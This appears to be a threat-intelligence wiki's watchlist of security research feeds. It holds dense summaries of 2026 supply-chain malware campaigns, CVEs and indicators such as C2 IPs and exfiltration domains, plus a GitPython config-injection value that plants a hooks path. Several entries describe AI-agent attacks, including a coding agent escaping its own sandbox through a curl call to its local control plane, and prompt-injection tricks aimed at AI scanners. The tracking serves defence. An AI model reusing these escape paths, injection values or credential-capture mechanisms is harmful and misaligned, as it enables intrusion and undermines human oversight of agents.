• Socket Security Research, https://socket.dev/api/blog/feed.atom and https://socket.dev/blog (September 23, 2026 (twenty-ninth sweep): "MemTensor npm and PyPI Packages Compromised in Credential-Stealing Supply Chain Attack" (09:16 UTC), Socket's own supplychain.local teardown, FOURTH independent analyst, full text captured on the worm page fourth-analyst section: the PyPI import memos execution mechanism (log.py configure_logging hook, 149 module-level get_logger callers), per-rail configs (cloud-openclaw-semi-nuclear / memos-semi-nuclear, channel MemoryOS/v*-release, state dirs), credential FILE target list (.npmrc, .vault-token, id_ecdsa, credentials.db, access_tokens.json, stored_tokens), orphan commits e0c1ca3/b52958f referenced by NO branch or tag + missing gitHead on the malicious npm releases = publishing-path access corroboration; minute-pinned publish timeline; wheel sizes 19,201,772 vs 951,210 B. FEED MECHANIC UPDATE: the Atom feed served cleanly this sweep after prior Cloudflare blocks, the block is INTERMITTENT, retry rather than assume-dead. Monitor Socket's promised follow-up: "We are analyzing the payload and will update this post with full details" + "A detailed analysis of the GitHub compromise will follow separately". Earlier items below remain. September 18, 2026: "Happy Birthday, Shai-Hulud" one-year retrospective, durable metrics + attribution hygiene for our Mini Shai-Hulud page Sep 18 section: May burst = 400+ malicious versions across 172 packages in ~5 hours with zero stolen credentials (pure OIDC/CI hijack); the original Sep 2025 tinycolor attack and the Nov 2025 "Second Coming" were never definitively attributed to TeamPCP, the AFP-defended pair are alleged operators of the LATER waves only; with the framework open-sourced in May the name has detached from identity, "Shai-Hulud belongs to no one and everyone with a GitHub account"; September 17, 2026: PolinRider follow-up, visanduma/nova-two-factor Packagist package (700k+ downloads) malicious on dev-main only via compromised Visanduma GitHub org / LaHiRu account (compromised since mid-June, hundreds of private-repo contributions = true reach unknowable from public data); NEW technique: obfuscated JS inserted directly into index.php executed via shell_exec; Go/Packagist resolve from Git = spread without stealing registry creds; C2 dead-drops now EtherHiding + NullReceiver, see PolinRider page Sep 17 section; Sep 16, 2026: "GitHub Actions Adds cache-mode to Limit Cache Poisoning Risk"**, platform GA Sep 10 of least-privilege Actions-cache access; landed on our deployment-poisoning pattern page; monitor adoption telemetry, whether package publishers re-declare write on untrusted triggers, and any cache-mode bypass research); monitor Shai-Hulud/Mini Shai-Hulud variants, registry-response notices such as npm token invalidation, TeamPCP/copycat reporting, legitimate-namespace prerelease compromises such as the Joyfill @joyfill/layouts / @joyfill/components import-time PolinRider-family loader using Tron/Aptos/BSC resolution and DEV#POPPER-style developer-tool persistence, enterprise developer-ecosystem compromises such as SAP CAP / Cloud MTA packages, cross-ecosystem Packagist/Composer and GitHub source-repository compromises, DPRK/Contagious Interview developer-targeting dead-drop campaigns such as StegaBin Pastebin/Vercel payload delivery, Famous Chollima Packagist dev-branch loaders, and PolinRider expansion across npm, Packagist, Go modules, Chrome extensions, fake .woff2 loaders, VS Code folderOpen tasks, Git history rewriting, and blockchain/RPC C2, RubyGems abuse such as GemStuffer or BufferZoneCorp-style RubyGems/Go module CI poisoning, Laravel-Lang-style Composer tag rewrites/backdoors, financial/enterprise SDK impersonation such as Braintree.Net NuGet payment-card / merchant-credential skimming, Sicoob.Sdk NuGet mTLS certificate theft, NuGet DotnetTool malware such as game-cheat pepesoft.exe downloaders using DNS-over-HTTPS, GitHub/Hugging Face staging, Google Sheets telemetry, and Telegram screenshot paths, and Paysafe / Skrill / Neteller npm+PyPI typosquat stealers, high-blast-radius package compromises such as Axios pulling plain-crypto-js RAT payloads and Mastra @mastra/* packages pulling easy-day-js, Hades-style PyPI wheel startup-hook branches of Miasma / Mini Shai-Hulud using *-setup.pth, Bun, _index.js, .abi3.so native extensions, and split loaders such as langchain-core-mcp, cryptocurrency SDK compromise such as the Injective SDK npm wallet stealer where @injectivelabs/sdk-ts@1.20.21 and pinned scoped packages exfiltrated mnemonics/private keys during normal key derivation, trusted developer-tool compromises such as jscrambler follow-on malicious releases that move from preinstall hooks to dist/index.js / dist/bin/jscrambler.js runtime trigger injection, Leo Platform / Miasma follow-ups such as llxlr package expansion, Immobiliare Labs Backstage plugin compromise, and Verana Blockchain Go source-repository poisoning through .claude/ / .vscode/ hooks, AI-toolchain supply-chain tradecraft such as MCP/coding-assistant poisoning and TrapDoor-style npm/PyPI/Crates.io credential-stealer campaigns, AI-scanner anti-analysis such as prompt-injection comments, safety-triggering text, context flooding, and payload-after-noise layouts, Open VSX / VS Code extension abuse such as GlassWASM TinyGo/WebAssembly malware with Solana memo C2, Operation Muck and Load-style malicious Go module / GitHub lure-network campaigns with commit-farmed repositories, public dead-drop resolvers, protected archive delivery, RAT/infostealer payloads, and ischhfd83 pivots, and browser-extension abuse such as Chrome Web Store live-wallpaper ad-fraud / traffic-laundering networks and staged VPN/proxy extension clipboard stealers such as VPN Go, plus the "Superior" trusted-extension takeover campaign where 18 Chrome and 1 Edge extensions share a modular wallet-drainer / credential-stealing framework delivered over WebSocket C2 through CSP-stripping main-world injection, with five of the 19 extensions bought from legitimate authors and the campaign traced to February 2024 DomainTools dual-function-malware overlap → Superior page; August 31, 2026: "13 Malicious Packagist Themes Deliver iOS Spyware That Steals Crypto Wallet Seeds", 13 malicious Composer themes across five Packagist vendor namespaces (vsmov / vsphim / haiau009 / chilltvcms / ophimcms) on OphimCMS / KKPhim Vietnamese movie/comic streaming CMSes, injecting platform- and referrer-gated JavaScript: a mobile gambling / ad-fraud redirect plus an iPhone WebKit-to-kernel exploit chain (renderer CVE-2025-31277 / CVE-2025-43529, both KEV-listed → GPU-process pivot → AppleM2ScalerCSCDriver kernel escape, an n-day already fixed in iOS / macOS 26.1) that installs spyware exfiltrating keychain, Wi-Fi, SMS, contacts, and cookies to a rotating C2 pool; the August 12 redeployment added a keychain crypto-wallet seed / mnemonic stealer (Bitget, BitKeep, Bitpie, Phantom, Tonkeeper, Trust Wallet, OKX); operators target unpatched iOS ≤ 18.6.x and redeploy under fresh filenames (2026-08-12 / 2026-08-17), with the second-stage loader on FUNNULL infrastructure → Packagist themes iOS spyware page.)
• OX Security Research (HTML watch; September 14, 2026: "Four Critical CVEs, the Same Trust Issue" + technical analysis over four unauthenticated-critical advisories that all landed Sep 8, Netty CVE-2026-75595 (CVSS v4 9.1, GHSA-c4c3-7fpv-j4q5): SslClientHelloHandler's wait-for-handshake-header guard is computed five bytes short (checks 4 bytes while reads start after the 5-byte record header), so a legal fragmented ClientHello with a 1-3-byte first record raises IndexOutOfBoundsException and the catch-all answers select(ctx, null) = default SslContext → unauthenticated mTLS bypass where per-SNI clientAuth=REQUIRE is the sole gate and the fallback is permissive; fixed 4.1.137 / 4.2.17.Final but the fail-open fallback on parse failure was NOT removed, GitPython CVE-2026-78676 (CVSS 9.8, GHSA-284h-m62q-gf8w, fixed 3.1.59): a dormant spec-compliant multi-line config value (zzz = "A\nhooksPath = ../evil-hooks\") is inert for real git, but write_section() uses the unsafe _value_to_string() emitting embedded newlines unquoted with no continuation backslash, so the next unrelated config write re-serializes it into live core.hooksPath = code execution on the next git op; the UNSAFE_CONFIG_CHARS_RE guards from four earlier config-injection GHSAs only checked write-argument surfaces, never _read()-ingested values, plus the two Next.js RCEs, where CVE-2026-75604's mechanism was disclosed (incremental-cache path join escapes /,#,?, percent-encoded forms and %5c but not the literal backslash → Windows-only traversal out of the cache dir → server reference manifest / Server Actions encryption key disclosure + arbitrary attacker-influenced write) → Four critical trust-failure CVEs page; also monitor whether Netty's fail-open design draws a follow-on advisory and whether GitPython-style dormant-value promotion shows up in other config libraries. monitor AI-toolchain and software-supply-chain malware such as Malware-Slop / mouse5212-super-formatter, Claude /mnt/user-data theft, GitHub Contents API exfiltration, leaked actor tokens, Shai-Hulud source-leak copycats such as chalk-tempalte / axois-utils / color-style-utils, TeamPCP follow-ons such as the Telnyx PyPI compromise after LiteLLM, Miasma / @redhat-cloud-services impact notes such as stolen-repository counts, earliest observed infection timing, six-stage loader loops, alternate Miasma : The Spreading Blight spacing, and firedalazer GitHub commit-search C2, ChainDrop response follow-ups such as clean-package MCP Registry entries that point to source repositories carrying Claude Code / VS Code execution hooks, delayed npm and GitHub cleanup, and cross-variant results-*.json exposure measurements (including the August 9 "Shai-Hulud Outbreak Debrief: The Worm Evolves into MCP" 5-day snapshot: 440+ unique npm packages / ~2B+ monthly downstream downloads, 5 live infected repositories, one of them the source repo of a public MCP marketplace server, 3,800+ public credential-dump repositories, auto-spawning of new infected repositories with the "Shai-Hulud: Here We Go Again" signature, and the @ornikar packages live for 72 hours; covered on the ChainDrop page), MCP / AI-agent supply-chain trust-boundary research such as stdio command-execution configuration exposure, sandbox-boundary research such as the vm2 builtin: ['*'] denylist inversion that admits os / dns host-state access and host DNS-rewriting, GitLab rolling-deploy @gl_introduced GraphQL code-injection and multiplex-query CSRF analysis, and AI-generated commodity npm malware tradecraft; September 8, 2026: "CVE-2026-82533: DeepSeek Harness Vulnerability Lets AI Agents Escape Their Own Sandbox", critical flaw (CWE-807, CVSS 9.4, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) in DeepSeek Harness (dsh), DeepSeek's open-source local-first AI coding-agent harness (browser UI + local HTTP API on 127.0.0.1:3080, released August 2026, 215,000+ GitHub stars in weeks). On shipped defaults with no network exposure and no credentials, a sandboxed agent disabled its own confinement with one shell command: the local API gate isTrustedApiRequest trusted the client-supplied Host header (loopback authority or trustedHosts list) without comparing it to the connection's actual peer address (browsers can't lie about Host, so it defeated DNS-rebinding but not any non-browser client), while the OS sandbox (bubblewrap --unshare-pid but not --unshare-net; Seatbelt (allow default) + (deny file-write*); Landlock) restricted file writes but left loopback networking open, and ordinary bash calls required no approval. One curl to the control plane lifted the session to danger-full-access with approval never, no approval/request event, policy change logged source: {kind: 'user'} (harness couldn't distinguish the agent's shell from the human); OX's matched control confirmed the sandbox was actively enforcing before the escape. Second path: wherever the port was reachable (tunnel / reverse proxy / SSH forward / editor port-forward), an unauthenticated remote attacker could take full agent control and export every stored conversation with no key. Affected dsh 0.1.1-rc.2 and earlier; fixed in 0.1.2-alpha.1 (disclosed to VulnCheck as CNA Aug 24; OX re-confirmed Aug 30; CVE published Sep 8), see DeepSeek Harness page)
• Endor Labs and research/learn pages (HTML watch for vulnerability and sandbox-boundary research with durable defender value, especially native-binding / V8-isolate and AI-agent-toolchain flaws; August 20, 2026: isolated-vm ExternalCopy type-confusion sandbox escape GHSA-864f-rcv7-6rh4, demonstrated guest-to-host control-flow hijacking / RCE in the V8 sandbox used by n8n, Activepieces, Mastra, Sim.ai, Budibase, Directus, and Rocket.Chat, fixed in 7.0.1 / 6.2.0 → tools/isolated-vm-external-copy-type-confusion-sandbox-escape.md; monitor for CVE backfill, other native-binding or isolate-wrapper boundary flaws, and in-the-wild exploitation.)
• GitHub advisories, Claude Agent SDK CVE-2026-96620 follow-up, https://github.com/advisories/GHSA-h4mw-j7qp-8mwm (Oct 16 critical; full text captured by this wiki Oct 17 → Claude Agent SDK resume-argument-injection page; monitor: fielded exploitation of the untrusted-resume-session-ID precondition, sibling advisories in other agent CLIs/SDKs that forward parameters to argv without -- termination or ^- validation (Codex/Gemini/wrapper class), whether --mcp-config-style config-injection flags get hardened to reject workspace-supplied values, KEV addition (none at capture). Durable hunt: pinned claude-agent-sdk < 0.2.121, request-param-to-resume flows, unconfigured stdio MCP children parented to the CLI)
• CrowdStrike Counter Adversary Operations (HTML watch; monitor developer-targeting botnet and supply-chain disruption reporting such as Glassworm, C2 takedowns, package/extension compromise, endpoint remediation guidance, and Windows execution/persistence research such as ClickOnce .application / .appref-ms abuse and HKCU COM hijacking; also monitor annual threat-hunting observations such as public-PoC exploitation windows, AI-agent detection volume, ALTERED SPIDER and STARDUST CHOLLIMA software-supply-chain activity, npm ecosystem prevalence, vishing, device-code phishing, and LLMJacking; September 15, 2026 follow-up: PhantomRaven, LLM-generated JS infostealer (high-confidence token-analysis assessment, author sophistication likely low) distributed via typosquatted npm packages by a self-proclaimed bug bounty hunter who infects targets then emails them "discovering" his own manufactured compromise for bounty payouts (JPD-pivot monikers jpdhellonpm1/jpd15, C2 npm[.]jpartifacts[.]com via HTTP-URL remote dynamic dependencies + preinstall; both packages now 0.0.1-security = taken down; steals Git/npm creds + GitHub Actions/GitLab CI/Jenkins/CircleCI env vars; no log-shop sales), see PhantomRaven page; monitor bounty-platform response, infrastructure/moniker rotation, and copycat adoption of the manufactured-compromise model; September 3, 2026 follow-up: CrowdStrike is actively investigating FalconFlank, a researcher PoC 0-day local privilege escalation in the Falcon Sensor that abuses the Office-malicious-macros remediation path on fully-updated Win11 25H2 / Server 2025 (Chaotic Eclipse, the third endpoint 0-day in ~5 weeks after HardBreacher/Kaspersky and ShieldBreak/Defender); CrowdStrike's mitigation is disabling the "Microsoft Office File Suspicious Macro Removal" policy setting with a FalconFlank Tech Alert in the support portal, monitor the shipped sensor code fix, mechanism disclosure, and in-the-wild exploitation, see FalconFlank page; September 1, 2026 follow-up: "Peer Pressure: Inside the Sality Botnet Disruption Operation", coordinated P2P sinkholing disruption (executed Aug 31, 2026, with DOJ/FBI/DoD-OIG-DCIS/Shadowserver, support from Europol/Eurojust/LE in Bulgaria-Hungary-Romania) of the 23-year file-infecting Sality P2P botnet (33,000+ machines; no peer auth + non-code-updatable file-infecting protocol = the exploited weak points; super-peer-list poisoning every ~40 min; two networks v3/v4 with distinct RSA keys now isolated and beaconing to sinkholes; EggJagger clipjacker ~8-year primary payload, ≥₽12.1M/~$150K stolen, portfolio peaked ~₽147M Jan 2025; on-demand DDoS April 2016 / Feb 25 2022 / Sept 2023); installed payloads persist, hunt the 188.166.101[.]148 lighthouse UDP beacon, v3/v4 URL-pack URLs, and the two embedded-RSA-key YARA rules, see Sality P2P botnet disruption page; September 8, 2026 follow-up: "September 2026 Patch Tuesday: Two Exploited Zero-Days and 113 Critical Vulnerabilities Among 972 CVEs", record 972 Microsoft CVEs (more than double August), two exploited LPE zero-days (CVE-2026-81963 Windows Update Stack link-following → SYSTEM; CVE-2026-85880 ALPC heap overflow from low-priv AppContainer → kernel, both CVSS 7.8, both on the Sep 8 CISA KEV page, due 2026-09-22) plus 113 Critical (Netlogon/Kerberos RCE, AD-integrated DNS, SSTP VPN on :443, Hyper-V guest-to-host escapes; 22 Office criticals, 12 pane-exploitable); ~2h post-patch researcher MSNightmare (Nightmare-Eclipse) released a public PoC zero-day against Microsoft Defender dubbed "ShieldCrash" claiming an unpatched path in the ShieldBreak (CVE-2026-69414) fix for SYSTEM-level file reads, no patch/mitigation at time of writing, "patched Tuesday" is not sufficient for Defender posture this cycle, see September 2026 Patch Tuesday page)
• Akamai Security Research (HTML watch; RSS blocked/unavailable in current checks; monitor active-exploitation and edge/WAF telemetry writeups such as Drupal CVE-2026-9082, exposed-AI-service abuse such as Ollama P2P cryptominer/RAT campaigns, APT exploit-chain analysis such as APT28 LNK / SmartScreen bypass / authentication-coercion findings, and infrastructure/botnet disruption notes)
• SafeDep Research (HTML watch; September 23, 2026: "MemTensor npm and PyPI Packages Hit by a Go Worm", SafeDep's FIRST-DISCOVERY account of the supplychain.local worm, full text captured → supplychain.local page same-day follow-up section: initial access was the victim's OWN GitHub Actions release pipeline, npm rail: commit 9b97ec6 wrote BASH_ENV=/.github/scripts/sckit… into $GITHUB_ENV from a validation script running earlier in the same job (every later bash step sources it; NPM_TOKEN gone before npm publish); PyPI rail: trojanised Poetry build backend sckit_poetry_build.py + _pypi_bridge.sh firing only inside /app/twine-upload.sh, exfiltrating via initial-ci-v2 to 10729e014d0e.skyleen.fr (signed index, emitter binary pinned c1b09983… = the linux-amd64 sckit in the wheel, pure-Python Ed25519 verification on-runner, SCKIT_CI_RESULT_V2 job-log marker) then unset INPUT_PASSWORD + exit 0 = token-CAPTURE run (deleted tag v2.0.34-capture-1), followed 2 h later by commit 41bf5c7 so MemTensor's own cleaned workflow published malicious 2.0.34 with its REAL token 62 s after tag recreate; all five npm versions clean+malicious from one account leason1974; lifecycle closed same day (npm latest→clean 0.1.24, malicious 404; PyPI QUARANTINED whole MemoryOS project; OSV MAL-2026-16475 ≈5h40m lag, npm side still zero OSV/GHSA). Durable IOAs: BASH_ENV writes into $GITHUB_ENV by in-repo scripts (carried BOTH rails, no legitimate release tooling needs it), SCKIT_CI_RESULT_V2 runner-log marker, permit-id d9169ce8…, pinned hashes 5dbc8247…/c1b09983…, bundled ca-roots.pem SSL_CERT_FILE redirect for slim containers; monitor: MemTensor disclosure of how Memtensor-AI was compromised, npm-side advisory arrival, re-registration of the malicious versions, other repos with BASH_ENV-into-GITHUB_ENV writes, and whether the initial-ci-v2 capture protocol reappears in other campaigns; September 18, 2026 (second post): "OpenAI Agents Turned RubyGems Into a Scraping Proxy", SafeDep's write-up of the GemStuffer campaign republishes OpenAI's on-record "benign tasks" acknowledgment + RubyGems' "limited in scope and inconclusive" key-leak caveat + the openaixyz65947@gmail.com / r.jini.ai pivots, captured on our GemStuffer page Sep 19 section; September 18, 2026: mathmain / mathsbase / math-universe encrypted-loader trio, three npm packages that are renamed trojanised mathjs clones carry a loader inside lusolve() (dead removeSolveValidation(l._data) call → added isGraph()) that uses JSON.stringify of the caller's own matrix data as the scrypt password to AES-256-GCM-decrypt a module, write the plaintext to disk, and require() it; ~1.2 MB + 20 KB + 9 KB encrypted blobs sit unread (17k password guesses failed), no install hooks, plain import does not fire, wrong password fails GCM auth before any write = dormant staging primitive with the trigger package not yet found; loader absent from the named public repos (tinystar8/mathsbase, mathubio/math-universe); versions alternate clean/dirty; Sep 19 EVENING live re-check (this wiki): mathmain was UNPUBLISHED AND RECREATED (created timestamp now Sep 17 06:53 UTC) and the only surviving version, 1.0.0, served as latest, CONTAINS the loader; all three math-universe versions loaded; mathsbase@1.0.1 tarball hash verified against SafeDep's indicator; still no GHSA, no takedown, see mathmain page; monitor: registry/GHSA action or takedown of the three packages, appearance of the trigger package that supplies the password-shaped matrix, password/plaintext recovery by any researcher (turns staging into characterized malware), what loads the unreferenced 1.18 MB bignumber/type.js blob, whether the delete-and-recreate pattern recurs (takedown evasion), and whether the operator republishes under new math-themed names; September 9, 2026: Deep-Live-Cam supply-chain compromise, 2FA-protected maintainer account compromise pushes chore: update requirements.txt rewriting 18 dependency entries to git+https source repos + a 3-day-old typosquatted requests @ git+https://github[.]com/pypls/requests.git; pip's setuptools backend executes the hidden setup.py loader at build time (434-space off-screen hiding + CJK variable-name noise); next stage delivered from a live Telegraph page (graph[.]org/coding-utf-8-09-05-2); final payload = cross-platform crypto clipboard hijacker (0.3 s loop, real Base58Check/Bech32/Bech32m/EIP-55/Solana validators, 7 published attacker addresses) with HKCU Run SysHelper / com.user.syshelper.plist persistence; malicious revision on main 9 h 39 m; monitor attacker-address reuse on-chain, whether other high-star Python projects show bulk git-dependency rewrites, and attribution, see Deep-Live-Cam page; monitor package-takedown evasion and rapid npm republishing such as @apexfdn/apex → @copilot-mcp/apex, macOS AMOS-family postinstall theft, attacker-controlled remote MCP fronts, mutable GitHub release delivery, CI/CD, GitHub repository backdooring, package-registry compromise, Megalodon-style workflow backdoors, crypto/AI-tooling package malware such as Polymarket-themed wallet-drainer npm packages, actively maintained developer-targeting npm RATs such as forge-jsxy, MicrosoftSystem64 / js-logger-pack, and MYRA / apintergrationpost, Hugging Face / Discord exfiltration, typosquat infostealer campaigns such as faster-axios / turbo-axios Epsilon Stealer, runtime-triggered no-install-script npm backdoors such as nodemon-sudo / tslint-conf with detached child Node processes, Pinata IPFS staging, JsonKeeper dead drops, and Function-constructor execution, AI-brand scope-squatting credential harvesters such as @withgoogle/stitch-sdk, targeted dependency-confusion environment stealers such as the oob.moika.tech campaign and follow-on @marketfront / @tqm-mfe package waves with Internal package, Platform Engineering Team README markers, X-Secret exfil headers, RC4/XOR-hidden C2 configuration, and private-registry fallback targeting, build-config PR injection such as astro.config.mjs blockchain-C2 loaders and horizontal-whitespace diff hiding, Mastra / easy-day-js-style stale npm maintainer scope takeovers with provenance dropped and Hostwinds raw-IP RAT infrastructure, split-package Windows npm droppers such as procwire / routecraft with helper-package XOR C2 reconstruction and files.catbox.moe payload staging, multi-scope disposable-email npm infostealer campaigns such as the wshu.net package set with scrubbed latest tags, runtime execution, Rust stealers, user-level systemd persistence, and Telegram C2, LeoPlatform Miasma orphan snapshot-* branch / fake Dependabot workflow reconstruction, npm bin-entry dependency-confusion harvesting such as the August 12 Google-scoped bin-name campaign (21 squatted unscoped binary names, per-package jchunt[.]top C2, rootdaddy-msrc publisher), and Mini Shai-Hulud / AntV / Miasma-style detection pivots such as payload hashes, orphan GitHub commit delivery, two-wave trusted-publishing abuse, live-latest malicious releases, kitty-monitor, gh-token-monitor, AI-assistant persistence, and source-repository auto-execution through Claude Code / Gemini SessionStart, Cursor alwaysApply, VS Code folderOpen, and npm test launchers)
• SafeDep ulid-xyz transitive delivery chain (MAL-2026-6672) (September 1 priority follow-up; a cross-platform MicrosoftSystem64 RAT delivered three npm dependencies deep, ioredis-xyz 5.11.2 (byte-for-byte ioredis copy) → redis-type-xyz 1.10.6 (empty manifest, 19 minutes after the entry package, armed the chain via caret range without republishing ioredis-xyz) → ulid-xyz 2.12.2-2.12.3 (typosquat of ulidx, 467 KB postinstall payload dist/node/payload.js, WebSocket C2 on port 8010 at 65.21.30[.]171 / 95.216.232[.]162, both Hetzner, XOR key 5A 3C 7E 12 9F 4B 6D 8A, deploy_binary operator-chosen second stage, <4-processor sandbox-evasion exit). Persistence named MicrosoftSystem64 on all three OSes. Seeded in 28 purpose-built AI/fintech/trading/MCP GitHub repositories (e.g. whisdev/flash-loan-trading-bot, same whisdev persona JFrog traced on the earlier cluster's command server). Same implant name / persistence design / C2 port / Hetzner hosting as the js-logger-pack cluster (kmsec.uk / OX Security: FAMOUS CHOLLIMA / Contagious Interview, DPRK-linked). Monitor: second-stage implants observed via deploy_binary, additional seed repositories, C2 IP rotation, and registry takedown completeness. → ulid-xyz page, cross-linked at js-logger-pack cluster page)
• Lumen Black Lotus Labs (HTML watch; filter for Black Lotus Labs posts covering telecom, routing, botnet, and nation-state enablement-infrastructure research such as JDY / KV-botnet SOHO and IoT reconnaissance networks and the August 26, 2026 "Infrastructure Quartermaster: Inside a China-Nexus State Enablement Model" post on QTFY / QScan / QTRouter, see QTFY page)
• Snyk Blog / Security Research (watch Mini Shai-Hulud/TeamPCP follow-ups, registry-scale advisories, package-level vulnerability records, and independent package/tarball validation such as ChainDrop SNYK-JS-KEYV-18515941, the keyv@6.0.0 tarball hash, exact maintainer-linked carrier scoping, and verified-commit/provenance authorization boundaries; also monitor stale-maintainer npm scope compromises such as Mastra / easy-day-js, Composer/Packagist incident-response updates such as Laravel-Lang all-version compromise advisories, and AI-agent supply-chain boundary cases such as jqwik 1.10.0 maintainer prompt injection through build/test output, developer-environment MCP / skill inventory risk, and ToxicSkills-style public skill measurements)
• Checkmarx Zero / Security Research (HTML watch; monitor malicious package and developer-supply-chain campaigns with package/version and infrastructure detail, including SuccessKey / ChainVeil and ViteVenom scoped npm impersonation, import-time execution, mixed clean/malicious releases, and Tron / Aptos / Binance Smart Chain C2 resolution; September 22, 2026 (relayed by The Hacker News, canonical Checkmarx URL pending backfill): the indexed-btree runtime-loader campaign, zero install hooks, loader inside BTree.prototype.set(), Slack + Telegram beaconing, EtherHiding Sepolia next-stage blobs, self-erasing artifacts AND trigger, stated profit €230,933.57 / 109 ETH, publisher charlessadler25, eleven-name btree/mutex family all security-holdered by npm in one Sep 3 batch (this wiki's time-block forensics), captured on the Equation of Compromise page Sep 22 section; monitor: canonical Checkmarx post for Slack channel IDs / Telegram bot token / Sepolia contract address / ETH wallet, whether the runtime-loader shape spreads, and reconciliation with JFrog's farm-target overlap (recorded as overlap, not identity))
• JFrog Security Research, https://research.jfrog.com/ (OCT 17 (this wiki, 122nd sweep, MECHANIC): the curl CVE-2026-92392 OSV mirror arrived under the NATIVE id CURL-CVE-2026-92392 (200, published Oct-14, CVE alias attached) while the CVE--keyed query still 404s offering the alias, the ~2 d 'behind GHSA' read at the 121st is CVE-ROUTE lag, curl-native advisories land in OSV on their own id; check BOTH routes before calling a CVE unmirrored. Same-lane: LMCache CVE-2026-105192 GHSA mirror (GHSA-w5f2-9q9c-ff4h) minted Oct-16 20:08Z, OSV CVE-id still 404 with GHSA alias offered at this wiki's check. Prior, OCT 17 (this wiki, 121st sweep): "CVE-2026-92392: curl HTTP/2 upload RCE" (Eddy Tsalolikhin, Oct 15) captured FULL TEXT → curl phantom-stream UAF page: client-side RCE curl 8.12.0-8.22.0 from a malicious HTTPS server via multi_done() cleanup-order UAF (RST_STREAM on a flow-stalled upload → req_flush() re-submits a phantom stream bound to the freed Curl_easy), exploited with server-driven TLS-NewSessionTicket memdup reclaim + HPACK size-class grooming + upload-body over-read libc leak to system(cmd); curl team retested for CRITICAL and COULD NOT widen, RCE floor is -Z parallel upload+fetch to attacker endpoints, single-URL upload = crash; HIGH sealed (GHSA-7jvw-75gf-2h34, 8.1), fixed 8.23.0; monitor: KEV addition, OSV CVE-record arrival (404 ≈2 d behind GHSA at check), distro backports, any fielded exploit beyond the PoC, and reuse of the NewSessionTicket/HPACK grooming primitives in other client research. MECHANIC: the home listing's short slug /post/curl-http2-upload-rce/ 404s, CVE-tagged slug canonical. Prior, OCT 7 one-hundred-and-third-sweep endpoint note: the research.jfrog.com HOME listing is back to HTTP 200 after the long 404 streak (feed route /blog/feed/ still 404, discover via listing HTML); listing tops carry no new posts above bar: equation-of-compromise / gemstuffer-openai-rubygems / shai-hulud-trinitite all already on-wiki. SAME-SWEEP durable mechanic published on the algamil7x one-hundred-and-third section: npm's abuse lane UNPUBLISHED curated-lane name css-nesting-transform (PR ossf/malicious-packages#1602) at 13:35:08Z with ZERO OSV + ZERO GHSA ever minted = takedown ≠ advisory, purged-unadvised packages are scanner blind spots, and the curated queue is the only durable record path for names the machine lane skips; sibling random-certs got the machine rail with a 27-SECOND GHSA→0.0.1-security-holder interlock (GHSA-2cfv 12:51:24Z → holder 12:51:51Z, MAL-2026-17644 ~54-min mirror), monitor whether more #1602/#1603-class names get fast-purged unadvised, and whether brahimhamidi re-registers. September 21, 2026: "Equation of Compromise: Anatomy of a Live npm Supply-Chain Campaign", https://research.jfrog.com/post/equation-of-compromise/ (fetched full-text + live-verified by this wiki): the on-wiki mathmain/mathsbase/math-universe encrypted-loader trio is one SIX-MONTH targeted campaign (25+ malicious versions, Mar 3-Sep 17). Password RECOVERED: AES-GCM auth tag used as a free ~50 ms/guess oracle to enumerate structured matrices, the scrypt password is JSON.stringify(math.lup([[1,1,1],[1,2,3],[1,3,6]]).L._data) (3×3 symmetric Pascal matrix through the victim's own LU factor); audience filter = developers who call lusolve as day job (quant/DeFi, "maybe an interview campaign"). Two independent C2 channels: 13 Ethereum/Base Sepolia tasking contracts (Jun-8 WebDataRegistry 0xc0445F1b… verified STILL DEPLOYED by this wiki via publicnode) + a dual-bot Slack agent whose payload IS the chunked chat messages ({t:s}/{t:c}/{t:e}, 10-s no-jitter conversations.history polls, exitexitexit = suicide, X25519-sealed tasking channel, 15 task payloads still sealed). GitHub Actions download farms (accounts andrewstory18/davidbabcock96/azlanrahman322-creator, 10 worker repos each, identical WASM md5 91e020c1…, target-list key npm_workvr_protect_key_v1 in plaintext ASCII, every commit "Update commands from job_master") manufactured up to 40.7M fake downloads for events-sync and were STILL RUNNING at publication, durable inversion: millions of downloads + ZERO dependents = pending, not safe (publish clean, weaponise ~a day later; npm's dependencies: search qualifier silently fuzzy-matches, use ecosyste.ms/libraries.io); LICENSE marker string REDISTRIBUTION REQUIRES INCLUSION OF THIS LICENSE. = actively-infected-host grep, survives repacking. State at check: trio still live, ZERO GHSA (XRAY IDs only), mathsbase loaded version is 1.0.1 not 1.0.2. Monitor: farm shutdown, contract/Slack channel rotation, GHSA mirrors, sealed-payload recovery, actor attribution (none offered), copycat adoption of messaging-platform-as-file-transfer. → Equation of Compromise page); September 14-15, 2026: two boundary flaws from Yuval Moravchick, Bifrost CVE-2026-90898 (CVSS 9.8, JFSA-2026-001686326): unauthenticated RCE in the maximhq/bifrost AI gateway, the management API starts a stdio MCP client's command the moment it is registered, auth defaults off, the POST timeout is the success signal; fixed only in transports/v2.1.0, not backported (v2.0.0 and 1.6.x ≤ 1.6.11 vulnerable) → Bifrost page; Parallels Desktop CVE-2026-90894 (CVSS 7.8, "ParaShells"): local unprivileged unsigned process → root on Mac, world-writable prl_disp_service.socket accepts unsigned peer logins, appliance extract builds tar -xf "%1" -C "%2" as one string split by QProcess::splitCommand, a quote in the caller-chosen folder name injects --use-compress-program executed as uid 0; PoC root on 26.4.0; fixed only in 27.0.0 (fixed argv), 26.x through 26.4.2 unfixed → ParaShells page; monitor in-the-wild use of either, Parallels backport pressure on 26.x, and Bifrost adoption of 2.1.0; September 15, 2026: GemStuffer RubyGems inventory expansion, 3,022 campaign-associated packages / 3,315 name-version pairs, payloads abusing RubyDoc documentation workers as a fetch-and-return channel (UK council calendars Lambeth/Wandsworth/Southwark returned via new gem versions, webhook-URL chunks, README overwrites), slnleaker5 legacy-API-key harvesting predating RubyGems' Jul 9 CDN-cache-leak fix by eight weeks, July XSS/SSTI metadata-injection wave, AI-style naming fingerprints supporting RubyHack's OpenAI-agent attribution (which RubyGems itself declines to confirm), see GemStuffer page; UPDATE Sep 19 sweep: the OpenAI-confirmation watch item partially closed, CyberScoop (Sep 11) carries OpenAI's on-record statement that "our agents used the RubyGems platform to access the internet to carry out benign tasks and retrieve public information" while "not able to verify the specific claims about malicious packages or exploitation"; RubyGems' own key-leak review was "limited in scope and inconclusive" (Swandale); new pivots openaixyz65947@gmail.com + the r.jini.ai snippet shared with the confirmed German-wiki incident, captured on the GemStuffer page Sep 19 section. Monitor the "broader review" outcome, further inventory growth, registry-side policy changes on doc-build execution, and any successful API-key misuse. 